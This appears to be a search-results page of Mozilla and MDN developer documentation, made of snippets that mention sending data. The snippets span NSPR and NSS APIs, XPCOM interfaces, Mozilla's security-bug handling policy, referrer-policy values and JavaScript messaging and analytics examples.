... pr_transmitfile( prfiledesc *networksocket, prfiledesc *sourcefile, const void *headers, print32 hlen, prtransmitfileflags flags, printervaltime timeout); parameters the function has the following parameters: networksocket a pointer to a prfiledesc object representing the connected socket to
send data over. sourcefile a pointer to a prfiledesc object representing the file to
send. headers a pointer to the buffer holding the headers to be sent before
sending data. hlen length of the headers buffer in bytes. flags one of the following flags: pr_transmitfile_keep_open indicates that the socket will be kept open after the data is sent. pr_transmitfile_close_socket indicates that the connection should be closed immediately after successful transfer of the file. ...
...ter the data is sent. pr_transmitfile_close_socket indicates that the connection should be closed immediately after successful transfer of the file. timeout time limit for completion of the transmit operation. returns a positive number indicates the number of bytes successfully written, including both the headers and the file. the value -1 indicates a failure. if an error occurs while
sending the file, the pr_transmitfile_close_socket flag is ignored. the reason for the failure can be obtained by calling pr_geterror. description the pr_transmitfile function
sends a complete file (sourcefile) across a connected socket (networksocket). if headers is non-null, pr_transmitfile
sends the headers across the socket before
sending the file. the enumeration prtransmitfileflags, used in ...
NSS 3.35 release notes
code compiled against previous versions of tls will now refer to an unsupported codepoint, if this value was used. recompilation should correct any mismatches. note: dtls support is promoted in draft -23, but this is currently not compliant with the dtls 1.3 draft -23 specification. tls servers are able to handle a clienthello statelessly, if the client supports tls 1.3. if the server
sends a helloretryrequest, it is possible to discard the server socket, and make a new socket to handle any subsequent clienthello. this better enables stateless server operation. (this feature is added in support of quic, but it also has utility for dtls 1.3 servers.) the tstclnt utility now supports dtls, using the -p option. note that a dtls server is also provided in tstclnt. tls compression ...
...ental functionality, which might not be available in future releases of nss. users of tls are now able to provide implementations of tls extensions, through an experimental custom extension api. see the documentation in sslexp.h for ssl_installextensionhooks for more information on this feature. several experimental apis were added in support of tls 1.3 features: tls servers are able to
send session tickets to clients on demand, using the experimental ssl_
sendsessionticket function. this ticket can include arbitrary application-chosen content. an anti-replay mechanism was added for 0-rtt, through the experimental ssl_setupantireplay function. this mechanism must be enabled for 0-rtt to be accepted when nss is being used as a server. keyupdate can be triggered by the experimen...
...l ssl_helloretryrequestcallback function. this function allows for callbacks to be installed, which are called when a server receives a new tls clienthello. the application is then able to examine application-chosen content from the session tickets, or helloretryrequest cookie, and decide whether to proceed with the connection. for an initial clienthello, an application can control whether nss
sends a helloretryrequest, and include application-chosen content in the cookie. new experimental apis below is a list of experimental functions, which might not be available in future releases of nss. in sslexp.h experimental: ssl_keyupdate - prompt nss to update traffic keys (tls 1.3 only). experimental: ssl_getextensionsupport - query nss support for a tls extension. experim...
... in sslexp.h experimental: ssl_keyupdate - prompt nss to update traffic keys (tls 1.3 only). experimental: ssl_getextensionsupport - query nss support for a tls extension. experimental: ssl_installextensionhooks - install custom handlers for a tls extension. experimental: ssl_setupantireplay - configure a tls server for 0-rtt anti-replay (tls 1.3 server only). experimental: ssl_
sendsessionticket -
send a session ticket (tls 1.3 server only). removed experimental apis note that experimental apis might get removed from nss without announcing removals in the release notes. this section might be incomplete. the experimental api ssl_usealtserverhellotype has been disabled. bugs fixed in nss 3.35 this bugzilla query returns all the bugs fixed in nss 3.35: https://bu...
NSS Sample Code Sample1
// key needs to exist long enough to be used to process the // response to a key transport request that is made to the primary // server. the example here shows how to create a permanent (token) // rsa key for this purpose. (this key will also be used for // storage of the keys, since nss does not support permanent symmetric // keys at the current time.) // 3. the secondary host
sends its rsa public key to the primary host as // part of a request for a particular key, or to be added to a list // of secondary hosts. // 4. the administrator of the primary host verifies that the rsa key // that was received belongs to a valid secondary host. the adminstrator // may do this by checking that the key was received in a signed email // message, or by checking a digest...
...der to demonstrate it. // utility function to print hex data static void printbuffer(unsigned char *digest, unsigned int len) { int i; cout << "length: " << len << endl; for(i = 0;i < len;i++) printf("%02x ", digest[i]); cout << endl; } // xxx data protection // - takes an input buffer, applies the encryption // and mac, and generates a buffer with the result. // - the application
sends or uses the result (possibly // after base64 encoding it. // // server - an instance of a server that is part of a // cluster of servers that are sharing a common set // of encryption and macing keys. // class server { public: // initializes the server instance. in particular, this // creates the key pair that is used for wrapping keys int init(); // generates keys for encryptio...
...t are sharing a common set // of encryption and macing keys. // class server { public: // initializes the server instance. in particular, this // creates the key pair that is used for wrapping keys int init(); // generates keys for encryption (aes) and macing. the // wrapped keys are stored in data files. int generatekeys(); // gets the server's public key (wrapping key) to //
send to another server. this becomes the input to // the exportkeys method on the remote server. int exportpublickey(secitem **pubkeydata); // export the encryption and key using the key // provided. the key should come from another server // in the cluster. (the admin should verify this.) // // in this example, the server must be started to perform // this function (see start()) in...
...ed" << endl; rv = 1; // error goto done; } // transfer the keys from server1 { secitem *wrappedenckey = 0; secitem *wrappedmackey = 0; secitem *pubkeydata = 0; // get the public key for server 2 so that it can // be sent to server 1 rv = server2->exportpublickey(&pubkeydata); if (rv) { cout << "exportpublickey failed" << endl; goto trans_done; } //
send the public key to server 1 and get back the // wrapped key values rv = server1->exportkeys(pubkeydata, &wrappedenckey, &wrappedmackey); if (rv) { cout << "exportkeys failed" << endl; goto trans_done; } // print - for information cout << "wrapped encryption key" << endl; printbuffer(wrappedenckey->data, wrappedenckey->len); cout << "wrapped mac key" << endl; printb...
Python binding for NSS
o.compression_method sslchannelinfo.compression_method_name sslchannelinfo.session_id the following files were added: doc/examples/cert_trust.py doc/examples/ssl_version_range.py the following constants were added: nss.certdb_terminal_record nss.certdb_valid_peer nss.certdb_trusted nss.certdb_
send_warn nss.certdb_valid_ca nss.certdb_trusted_ca nss.certdb_ns_trusted_ca nss.certdb_user nss.certdb_trusted_client_ca nss.certdb_govt_approved_ca ssl.srtp_aes128_cm_hmac_sha1_32 ssl.srtp_aes128_cm_hmac_sha1_80 ssl.srtp_null_hmac_sha1_32 ssl.srtp_null_hmac_sha1_80 ssl.ssl_ck_des_192_ede3_cbc_with_md5 ssl.ssl_ck_des_...
... of the example files and documentation. if you've copied that code you should merge those changes in. unicode objects now accepted as well as str objects for interfaces expecting a string. sockets were enhanced thusly: threads will now yield during blocking io. socket.makefile() reimplemented file object methods that had been missing (readlines(),
sendall(), and iteration) were implemented makefile now just returns the same socket object but increments an "open" ref count. thus a socket object behaves like a file object and must be closed once for each makefile() call before it's actually closed. sockets now support the iter protocol added methods: socket.readlines() so...
..., and iteration) were implemented makefile now just returns the same socket object but increments an "open" ref count. thus a socket object behaves like a file object and must be closed once for each makefile() call before it's actually closed. sockets now support the iter protocol added methods: socket.readlines() socket.
sendall() apply patches from miloslav trmač <mitr@redhat.com> for ref counting and threading support. thanks miloslav! review all ref counting, numerous ref counting fixes implement cyclic garbage collection support by adding object traversal and clear methods identify static variables, move to thread local storage remove python-nss specific http...
... nss.nss.oid_str() nss.nss.oid_tag() nss.nss.oid_tag_name() nss.nss.read_der_from_file() nss.nss.x509_alt_name() nss.nss.x509_ext_key_usage() nss.nss.x509_key_usage() the following class methods and properties were added: note: it's a method if the name is suffixed with (), a propety otherwise socket.next() socket.readlines() socket.
sendall() sslsocket.next() sslsocket.readlines() sslsocket.
sendall() authkeyid.key_id authkeyid.serial_number authkeyid.get_general_names() crldistributionpoint.issuer crldistributionpoint.get_general_names() crldistributionpoint.get_reasons() certdb.find_crl_by_cert() certdb.find_crl_by_name() certificate.extensions certificateextension...
Web Replay
with the tab after they have finished inspecting state in the past. the advantage of using two replaying processes is to provide a smoother experience when rewinding. recording/replaying process extensions during initialization the child process spawns a thread that does not participate in the recording — any ipc or other system calls it performs are live, even when replaying. this thread
sends and receives messages from the middleman. messages describe actions the child process is able to do independently from the recording; currently this includes
sending graphics updates, taking and restoring process snapshots, and responding to debugger requests. rewinding infrastructure a child process can be rewound to an earlier state in response to a message from the middleman. after a reco...
...ing a snapshot (see section above). ipc integration uses a file descriptor for communicating with the middleman. this is left alone when restoring a snapshot, so whenever saving or restoring a snapshot they should be in a consistent state for the child process. constraints are used for when messages may be sent between the middleman and child process, ensuring that the middleman process cannot
send a message at a time when the child process may be rewinding. debugger integration when debugging a normal content process, the devtools js debugger runs quite a bit of js code in the content process, communicating with the chrome process primarily through streams of json data. when debugging a child content process, this js code runs in the middleman process. when the code creates a debugger...
...evtools js code; the debugger can still create script/object/etc. debug objects, which refer to specific things in the child process. as with the devtools js code, this debugger lives in the middleman process, and instead of wrapping things from another compartment the debug objects hold heap structures with information about some thing in the child process. the debugger can explore the heap by
sending messages to the child process to fill in the contents of the debug objects it creates. whenever the debugger is interacting with the child process the child process is paused at some point in execution, and the contents of the debug objects are only valid until the middleman notifies the child process that it can resume forward execution or must rewind to an earlier snapshot. when the child ...
...e captured by redirecting the system library functions which the process calls into — rewriting their machine code so they invoke a record/replay specific function with the same signature, which records any results of the function and then replays those results later without actually invoking the underlying library function. redirected functions include both low level system call wrappers like
sendmsg/recvmsg, and higher level functions such as various cocoa interfaces. the list of redirected functions can be found in toolkit/recordreplay/processredirectdarwin.cpp. when calls are added to gecko for new system library functions, those functions may need redirections. in general, redirections are needed for any function that is (a) not compiled as part of gecko, and either (b) may behave d...
Handling Mozilla Security Bugs
for more information read the rest of this document. introduction in order to improve the mozilla project's approach to resolving mozilla security vulnerabilities, mozilla.org is creating more formal arrangements for handling mozilla security-related bugs. first, mozilla.org is appointing a security module owner charged with primary responsibility for coordinating the investigation and resolution of reported mozilla security vulnerabilities. ...
...d peers, and that it may grow further over time. new members can be added to the mozilla security bug group as follows: new people can apply to join the security bug group, or may be recruited by existing members. applicants for membership must have someone currently in the security bug group who is willing to vouch for them and nominate them for membership. nomination is done by the "voucher"
sending e-mail to the security bug group private mailing list. the applicant's nomination for membership will then be considered for a period of a few days, during which members of the security bug group can speak out in favor of or against the applicant. at the end of this period, the security module owner will decide to accept the applicant or not, based on feedback and objections from the securit...
...ustomers at risk. a typical warning will mention the application or module affected, the affected versions, and a workaround (e.g., disabling javascript). if the group decides to publish a warning, the module owner, a peer, or some other person they may designate will post this message to the known vulnerabilities page (which will be the authoritative source for this information) and will also
send a copy of this message to an appropriate moderated mailing list and/or newsgroup (e.g., netscape.public.mozilla.announce and/or some other newsgroup/list established specifically for this purpose). mozilla distributors who wish to inform their users of the existence of a vulnerability may repost any information from the known vulnerabilities page to their own websites, mailing lists, release note...
...the mozilla project; thus it makes sense that the bug reporter should be able to decide when the relevant bugzilla data should be made public. however, we will ask all individuals and organizations reporting security bugs through bugzilla to follow the voluntary guidelines below: before making a security bug world-readable, please provide a few days notice to the mozilla security bug group by
sending an email to the private security bug group mailing list. please try not to keep bugs in the security-sensitive category for an unreasonably long amount of time. please try to be understanding and accommodating if a mozilla distributor has a legitimate need to keep a bug in the security-sensitive category for some reasonable additional time period, e.g., to get a new release distributed to us...
nsIJetpack
js/jetpack/nsijetpack.idlscriptable this interface enables communication between the chrome process and a remote jetpack process. 1.0 66 introduced gecko 2.0 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview void
sendmessage(in astring amessagename /* [optional] in jsval v1, [optional] in jsval v2, ... ...
...iew void
sendmessage(in astring amessagename /* [optional] in jsval v1, [optional] in jsval v2, ... */); void registerreceiver(in astring amessagename, in jsval areceiver); void unregisterreceiver(in astring amessagename, in jsval areceiver); void unregisterreceivers(in astring amessagename); void evalscript(in astring ascript); nsivariant createhandle(); void destroy(); methods
sendmessage() this method asynchronously
sends a message to the jetpack process. void
sendmessage( in astring amessagename, [optional] in jsval v1, optional [optional] in jsval v2, optional ... ); parameters amessagename the name of the message to
send. v1, v2, ... optional javascript values to
send with the message; they must be either json-serializable types or handles. registerreceiver()...
...note: multiple callbacks may be registered for the same message; they will all be triggered. void registerreceiver( in astring amessagename, in jsval areceiver ); parameters amessagename the name of the message from the jetpack process on which the callback is triggered. areceiver a javascript function. ...
...should no longer be triggered. areceiver the javascript function that should no longer be triggered. unregisterreceivers() this unregisters all callbacks previously registered with registerreceiver() for a particular message. void unregisterreceivers( in astring amessagename ); parameters amessagename the name of the message to unregister all callbacks from. evalscript() this asynchronously
sends code to the jetpack process for evaluation. the code will be evaluated using at least javascript 1.8.1. when evaluated, the script's global scope will include all privileged apis. individual lines of the form //@line 1 "foo.js" can be used to specify filename and line number information for debugging purposes. void evalscript( in astring ascript ); parameters ascript the full contents of the...
nsIMsgHeaderParser
line the header line to parse. return value the first name found in the list exceptions thrown missing exception missing description makefulladdress() given an e-mail address and a person's name, concatenates them together into a single string, doing all the necessary quoting. astring makefulladdress( in astring aname, in astring aaddress ); parameters aname the name of the
sender. this should be in utf-8. aaddress the address of the
sender. this should be in utf-8. return value a string of the form name <address>. exceptions thrown missing exception missing description native code only!makefulladdressstring given an e-mail address and a person's name, cons them together into a single string, doing all the necessary quoting (const char* version). string m...
...ue a string of the form name <address>. exceptions thrown missing exception missing description native code only!makefulladdressstring given an e-mail address and a person's name, cons them together into a single string, doing all the necessary quoting (const char* version). string makefulladdressstring( in string aname, in string aaddress ); parameters aname the name of the
sender. this should be in utf-8. aaddress the address of the
sender. this should be in utf-8. return value a string of the form name <address>. exceptions thrown missing exception missing description makefulladdresswstring() obsolete since gecko 1.9 (firefox 3) wstring makefulladdresswstring( in wstring name, in wstring addr ); parameters name the name ...
...this should be in utf-8. return value a string of the form name <address>. ...
...this should be in utf-8. ...
nsIRadioInterfaceLayer
ial(in domstring number); void enumeratecalls(in nsiriltelephonycallback callback); void getdatacalllist(); unsigned short getnumberofmessagesfortext(in domstring text); void hangup(in unsigned long callindex); void registercallback(in nsiriltelephonycallback callback); void registerdatacallcallback(in nsirildatacallback callback); void rejectcall(in unsigned long callindex); void
sendsms(in domstring number, in domstring message, in long requestid, in unsigned long long processid); void setupdatacall(in long radiotech, in domstring apn, in domstring user, in domstring passwd, in long chappap, in domstring pdptype); void starttone(in domstring dtmfchar); void stoptone(); void unregistercallback(in nsiriltelephonycallback callback); void unregisterdatacallcallback(in n...
...message the text message as a domstring. requestid missing description processid missing description setupdatacall() pdp apis. void setupdatacall( in long radiotech,...
...message the text message as a domstring. requestid missing description processid missing description setupdatacall() pdp apis. void setupdatacall( in long radiotech, in doms...
...allcallback() void registerdatacallcallback( in nsirildatacallback callback ); parameters callback missing description exceptions thrown missing exception missing description rejectcall() void rejectcall( in unsigned long callindex ); parameters callindex missing description exceptions thrown missing exception missing description
sendsms()
sends a message to a specified number. void
sendsms( in domstring number, in domstring message, in long requestid, in unsigned long long processid ); parameters number a domstring with a telephone number to
send to. message the text message as a domstring. requestid missing description processid missing description setupdatacall() pdp apis. void setupdatacall( in long radiotech, in domstring apn, in domstring user, in domstri...
nsIWebProgressListener
rected from the requested document to an internal page to show error status, such as about:neterror, about:certerror and so on. methods onlocationchange() called when the location of the window being watched changes. this is not when a load is requested, but rather once it is verified that the load is going to occur in the given window. for instance, a load that starts in a window might
send progress and status messages for the new site, but it will not
send the onlocationchange until we are sure that we are loading this new page here. another example: the loading of a pdf or flash file might not not
send onlocationchange if the document is handed off to a third-party tool rather than being loaded into the browser. void onlocationchange( in nsiwebprogress awebprogress, in nsireq...
... message.data; let browser = message.target; let outerwindowid = data.outerwindowid; // browser is now the <xul:browser> that saw the web progress activity // occur. if you need to hold onto an identifier for whichever frame // (be it the top-level, or a subframe) was using the webprogress, use // the outerwindowid. this can be communicated back down to the content // in order to do
send a command to a particular dom window. cu.reporterror("saw: " + data.name + " -- passing: " + json.stringify(data)); }); /** * below is the contents of example-framescript.js */ const {classes: cc, interfaces: ci, utils: cu} = components; cu.import("resource://gre/modules/xpcomutils.jsm"); var mylistener = { queryinterface: xpcomutils.generateqi(["nsiwebprogresslistener", ...
...rogresslistener", "nsisupportsweakreference"]), onstatechange: function(awebprogress, arequest, aflag, astatus) { let win = awebprogress.domwindow; let outerwindowid = win.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsidomwindowutils) .outerwindowid;
sendasyncmessage("myaddonmessage", { name: "onstatechange", flag: aflag, status: astatus, }); }, onlocationchange: function(aprogress, arequest, auri, aflag) { let win = awebprogress.domwindow; let outerwindowid = win.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsidomwindowutils) ...
...me: "onstatechange", flag: aflag, status: astatus, }); }, onlocationchange: function(aprogress, arequest, auri, aflag) { let win = awebprogress.domwindow; let outerwindowid = win.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsidomwindowutils) .outerwindowid;
sendasyncmessage("myaddonmessage", { name: "onlocationchange", outerwindowid: outerwindowid, uri: auri.spec, charset: auri.charset, flag: aflag, }); }, // for definitions of the remaining functions see related documentation onprogresschange: function(awebprogress, arequest, curself, maxself, curtot, maxtot) {}, onstat...
nsIWindowMediator
zlevelbelow 3 place window below some window. methods addlistener() register a listener for window status changes. void addlistener( in nsiwindowmediatorlistener alistener ); parameters alistener the listener to register. example: of window listener object and how to register then unregister. t...
...code only! void unregisterwindow(in nsixulwindow awindow); native code only! void updatewindowtimestamp(in nsixulwindow awindow); native code only! void updatewindowtitle(in nsixulwindow awindow, in wstring intitle ); native code only! constants constant value description zleveltop 1
send window to top. zlevelbottom 2
send window to bottom. zlevelbelow 3 place window below some window. methods addlistener() register a listener for window status changes. void addlistener( in nsiwindowmediatorlistener alistener ); parameters alistener the listener to register. example: of window listener object and how to register then unregister. this example below waits for listens to when a wind...
...implementation must be very understanding of what may be completely invalid pointers in those parameters. boolean calculatezposition( in nsixulwindow inwindow, in unsigned long inposition, in nsiwidget inbelow, out unsigned long outposition, out nsiwidget outbelow ); parameters inwindow the window in question. inposition requested position one of the zlevel constants. zleveltop
send the window to the top window, zlevelbottom to the bottom. if set to zlevelbelow the window will be placed below iobelow. the value of inbelow will be ignored for zleveltop and zlevelbottom.) inbelow if inposition is set to zlevelbelow, the window below which inwindow wants to be placed. otherwise this variable is ignored. outposition constrained position, values like inposition. outbelow th...
... awindow the window in question. azlevel the window's new z level. native code only!setzposition a window has been positioned behind another. inform windowmediator. void setzposition( in nsixulwindow inwindow, in unsigned long inposition, in nsixulwindow inbelow ); parameters inwindow the window in question. inposition requested position one of the zlevel constants. zleveltop
send the window to the top window, zlevelbottom to the bottom. if set to zlevelbelow the window will be placed below iobelow. the value of inbelow will be ignored for zleveltop and zlevelbottom.) inbelow the window inwindow is behind, if zlevelbelow. native code only!unregisterwindow remove the window from the list of known windows. listeners (see addlistener()) will be be notified through their ...
Index
ive definition 14 autoconfiguration in thunderbird moved to autoconfiguration 15 buddy icons in mail seth spitzer mozilla is now able to show icons in the message header area and the addressbook card pane. for the message pane, the icon we will show is on disk at: <profile home>/nim/<value of pref aim.session.screenname>/picture/<screenname for
sender email address>.gif when trying to determine the screenname for the
sender, we search the addressbook that we are using for collection. (see this document for info about that.) for the addressbook card pane, the icon will show is on disk at: <profile home>/nim/<value of pref aim.session.screenname>/picture/<screenname for card>.gif if aim.session.screenname is not set, the icon will...
...n, the icon will not appear. the reason this file name scheme was chosen was is this is how netscape 7.0 im stores buddy icons on disk. so if you use nim, and you use buddy icons, this will just work for free. notes: 16 cached compose window faq seth spitzer (sspitzer@mozilla.org) what is the "cached" compose window? instead of destroying the mail compose window on
send (or close) just to create a new one the next time, mozilla mail will "cache" the compose window on
send (or close), and use that instead. the downsides are that we have had some bugs, it complicates and bloats the code, and it requires more testing. the upside is that is has been a major performance win why did you do this? back 0.9.7, we hit a wall with the compose window. any new window ...
...e, and it requires more testing. the upside is that is has been a major performance win why did you do this? back 0.9.7, we hit a wall with the compose window. any new window performance problems that mozilla has are especially painful in mail compose, as we need to create a new compose window on every new mail message or reply. but we noticed that the common usage pattern is to compose,
send, compose,
send, compose
send. we decided it would be worth the trouble to cache the compose window. if the user has this usage pattern, we wouldn't have to create a new window. we could just hide it on
send, and then show it on the next compose. if the user opens (but never
sends or closes compose windows), this trick will not apply to them. but this is not a common usage model. how do i...
...dbheaders preference developing a custom column to display a 'superfluous' column within thunderbird's main view. the data will come from a custom header labeled x-superfluous 114 using mapi with thunderbird's windows 7 developer builds thunderbird debug, thunderbird mapi (messaging application programming interface) is a windows feature that allows applications to
send files via a system's default mail application. the thunderbird installer sets the installed build as the default mapi/mail client. if you want to set a debug build as the default mail client, you need configure it manually: 115 using the multiple accounts api by alec flett alecf@flett.org 118 libmime content type handlers by richard h. pizzarro <rhp@net...
about:debugging (before Firefox 68) - Firefox Developer Tools
page can begin to list tabs available for debugging on mobile device browsers, simulators, etc. see bug 1212802 for the latest on this work. workers the workers page shows your workers, categorised as follows: all registered service workers all registered shared workers other workers, including chrome workers and dedicated workers you can connect the developer tools to each worker, and
send push notifications to service workers. service worker state from firefox 52, the list of service workers shows the state of the service worker in its lifecycle. three states are distinguished: "registering": this covers all states between the service worker's initial registration, and its assuming control of pages. that is, it subsumes the "installing", "activating", and "waiting" states. ...
...ed under service workers or shared workers. as soon as a worker is registered, the listing is updated: before firefox 47, service workers were only shown when they were actually running. unregistering service workers new in firefox 48. starting in firefox 48, you'll see a link named "unregister" next to each registered service worker: click the link to unregister the service worker. ...
...s. as soon as a worker is registered, the listing is updated: before firefox 47, service workers were only shown when they were actually running. unregistering service workers new in firefox 48. starting in firefox 48, you'll see a link named "unregister" next to each registered service worker: click the link to unregister the service worker. ...
...ter" next to each registered service worker: click the link to unregister the service worker.
sending push events to service workers
sending push events in about:debugging is new in firefox 47. to debug push notifications, you can set a breakpoint in the push event listener. however, you can also debug push notifications locally, without needing the server. just click the "push" button to
send a push event to the service worker: service workers not compatible in firefox 49+, a warning message will be displayed in the service workers section of the workers page if service workers are incompatible with the current browser configuration, and therefore cannot be used or debugged. service workers can be unavailable for several reasons: if you are using a private browsing window.
Channel Messaging API - Web APIs
e in web workers. channel messaging concepts and usage a message channel is created using the messagechannel() constructor. once created, the two ports of the channel can be accessed through the messagechannel.port1 and messagechannel.port2 properties (which both return messageport objects.) the app that created the channel uses port1, and the app at the other end of the port uses port2 — you
send a message to port2, and transfer the port over to the other browsing context using window.postmessage along with two arguments (the message to
send, and the object to transfer ownership of, in this case the port itself.) when these transferable objects are transferred, they are 'neutered' on the previous context — the one they previously belonged to. for instance a port, when is sent, cannot b...
... when these transferable objects are transferred, they are 'neutered' on the previous context — the one they previously belonged to. for instance a port, when is sent, cannot be used anymore by the original context. the other browsing context can listen for the message using messageport.onmessage, and grab the contents of the message using the event's data attribute. you could then respond by
sending a message back to the original document using messageport.postmessage. when you want to stop
sending messages down the channel, you can invoke messageport.close to close the ports. find out more about how to use this api in using channel messaging. channel messaging interfaces messagechannel creates a new message channel to
send messages across. messageport controls the ports on the m...
... portcollection an array of messageports; an experimental solution to allow broadcasting of a message to multiple ports simultaneously. ...
...essageports; an experimental solution to allow broadcasting of a message to multiple ports simultaneously. examples we have published a channel messaging basic demo on github (run it live too), which shows a really simple single message transfer between a page and an embedded <iframe>. you can also see a multimessaging demo (run this live), which shows a slightly more complex setup that can
send multiple messages between main page and iframe. specifications specification status comment html living standardthe definition of 'channel messaging' in that specification. living standard ...
HTMLIFrameElement.referrerPolicy - Web APIs
o-referrer the referer header will be omitted entirely. no referrer information is sent along with requests. no-referrer-when-downgrade (default) this is the user agent's default behavior if no policy is specified. the url is sent as a referrer when the protocol security level stays the same (http→http, https→https), but isn't sent to a less secure destination (https→http). origin only
send the origin of the document as the referrer in all cases. the document https://example.com/page.html will
send the referrer https://example.com/. origin-when-cross-origin
send a full url when performing a same-origin request, but only
send the origin of the document for other cases. same-origin a referrer will be sent for same-site origins, but cross-origin requests will contain no referrer i...
...e referrer in all cases. the document https://example.com/page.html will
send the referrer https://example.com/. origin-when-cross-origin
send a full url when performing a same-origin request, but only
send the origin of the document for other cases. same-origin a referrer will be sent for same-site origins, but cross-origin requests will contain no referrer information. strict-origin only
send the origin of the document as the referrer when the protocol security level stays the same (https→https), but don't
send it to a less secure destination (https→http). ...
...the origin of the document for other cases. same-origin a referrer will be sent for same-site origins, but cross-origin requests will contain no referrer information. strict-origin only
send the origin of the document as the referrer when the protocol security level stays the same (https→https), but don't
send it to a less secure destination (https→http). strict-origin-when-cross-origin
send a full url when performing a same-origin request, only
send the origin when the protocol security level stays the same (https→https), and
send no header to a less secure destination (https→http). unsafe-url
send a full url when performing a same-origin or cross-origin request. this policy will leak origins and paths from tls-protected resources to insecure origins. carefully consider the i...
...andidate recommendation added the referrerpolicy attribute. html living standardthe definition of 'htmliframeelement: referrerpolicy' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreferrerpolicychrome full support 51edge full support 79firefox full support 50ie ...
HTMLScriptElement.referrerPolicy - Web APIs
r the referer header will be omitted entirely. no referrer information is sent along with requests. no-referrer-when-downgrade (default) this is the user agent's default behavior if no policy is specified. the url is sent as a referrer when the protocol security level stays the same (e.g.http→http, https→https), but isn't sent to a less secure destination (e.g. https→http). origin only
send the origin of the document as the referrer in all cases. the document https://example.com/page.html will
send the referrer https://example.com/. origin-when-cross-origin
send a full url when performing a same-origin request, but only
send the origin of the document for other cases. same-origin a referrer will be sent for same-site origins, but cross-origin requests will contain no referrer i...
...e referrer in all cases. the document https://example.com/page.html will
send the referrer https://example.com/. origin-when-cross-origin
send a full url when performing a same-origin request, but only
send the origin of the document for other cases. same-origin a referrer will be sent for same-site origins, but cross-origin requests will contain no referrer information. strict-origin only
send the origin of the document as the referrer when the protocol security level stays the same (e.g. https→https), but don't
send it to a less secure destination (e.g. https→http). ...
... of the document for other cases. same-origin a referrer will be sent for same-site origins, but cross-origin requests will contain no referrer information. strict-origin only
send the origin of the document as the referrer when the protocol security level stays the same (e.g. https→https), but don't
send it to a less secure destination (e.g. https→http). strict-origin-when-cross-origin
send a full url when performing a same-origin request, only
send the origin when the protocol security level stays the same (e.g. https→https), and
send no header to a less secure destination (e.g. https→http). unsafe-url
send a full url when performing a same-origin or cross-origin request. this policy will leak origins and paths from tls-protected resources to insecure origins. carefully consi...
...andidate recommendation added the referrerpolicy attribute. html living standardthe definition of 'htmlscriptelement: referrerpolicy' in that specification. living standard browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and
send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetreferrerpolicychrome full support 70edge full support ≤79firefox full support 65ie ...
Using microtasks in JavaScript with queueMicrotask() - Web APIs
k() in the if clause and using the promises used by fetch() in the else clause). batching operations you can also use microtasks to collect multiple requests from various sources into a single batch, avoiding the possible overhead involved with multiple calls to handle the same kind of work. ...
...tching operations you can also use microtasks to collect multiple requests from various sources into a single batch, avoiding the possible overhead involved with multiple calls to handle the same kind of work. the snippet below creates a function that batches multiple messages into an array, using a microtask to
send them as a single object when the context exits. const messagequeue = []; let
sendmessage = message => { messagequeue.push(message); if (messagequeue.length === 1) { queuemicrotask(() => { const json = json.stringify(messagequeue); messagequeue.length = 0; fetch("url-of-receiver", json); }); } }; when
sendmessage() gets called, the specified message is first pushed onto the message queue array. then things get interesting. if the message we j...
...ength === 1) { queuemicrotask(() => { const json = json.stringify(messagequeue); messagequeue.length = 0; fetch("url-of-receiver", json); }); } }; when
sendmessage() gets called, the specified message is first pushed onto the message queue array. then things get interesting. if the message we just added to the array is the first one, we enqueue a microtask that will
send a batch. the microtask will execute, as always, when the javascript execution path reaches the top level, just before running callbacks. that means that any further calls to
sendmessage() made in the interim will push their messages onto the message queue, but because of the array length check before adding a microtask, no new microtask is enqueued. when the microtask runs, then, it has an array...
...essage queue, but because of the array length check before adding a microtask, no new microtask is enqueued. when the microtask runs, then, it has an array of potentially many messages waiting for it. it starts by encoding it as json using the json.stringify() method. after that, the array's contents aren't needed anymore, so we empty the messagequeue array. finally, we use the fetch() method to
send the json string to the server. this lets every call to
sendmessage() made during the same iteration of the event loop add their messages to the same fetch() operation, without potentially having other tasks such as timeouts or the like delay the transmission. the server will receive the json string, then will presumably decode it and process the messages it finds in the resulting array. exampl...
PerformanceEventTiming - Web APIs
om/w3c/page-visibility/issues/29 // note: ideally this check would be performed in the document <head> // to avoid cases where the visibility state changes before this code runs. ...
...the visibility state changes before this code runs. let firsthiddentime = document.visibilitystate === 'hidden' ? ...
...t.visibilitystate === 'hidden' ? 0 : infinity; document.addeventlistener('visibilitychange', (event) => { firsthiddentime = math.min(firsthiddentime, event.timestamp); }, {once: true}); //
sends the passed data to an analytics endpoint. this code // uses `/analytics`; you can replace it with your own url. function
sendtoanalytics(data) { const body = json.stringify(data); // use `navigator.
sendbeacon()` if available, falling back to `fetch()`. (navigator.
sendbeacon && navigator.
sendbeacon('/analytics', body)) || fetch('/analytics', {body, method: 'post', keepalive: true}); } // use a try/catch instead of feature detecting `first-input` // support, since some browsers throw when using the new `type` option. // https://bugs.webkit.org/show_bug.cgi?id=209216 try { function onfir...
...show_bug.cgi?id=209216 try { function onfirstinputentry(entry) { // only report fid if the page wasn't hidden prior to // the entry being dispatched. this typically happens when a // page is loaded in a background tab. if (entry.starttime < firsthiddentime) { const fid = entry.processingstart - entry.starttime; // report the fid value to an analytics endpoint.
sendtoanalytics({fid}); } } // create a performanceobserver that calls `onfirstinputentry` for each entry. const po = new performanceobserver((entrylist) => { entrylist.getentries().foreach(onfirstinputentry); }); // observe entries of type `first-input`, including buffered entries, // i.e. entries that occurred before calling `observe()` below. po.observe({ type: 'first-in...
RTCPeerConnection.addStream() - Web APIs
if the signalingstate is set to closed, an invalidstateerror is raised. if the signalingstate is set to stable, the event negotiationneeded is sent on the rtcpeerconnection to indicate that ice negotiation must be repeated to consider the new stream. ...
... candidat...
... candidate recommendatio...
... candidate recommendation initi...
RTCPeerConnection: negotiationneeded event - Web APIs
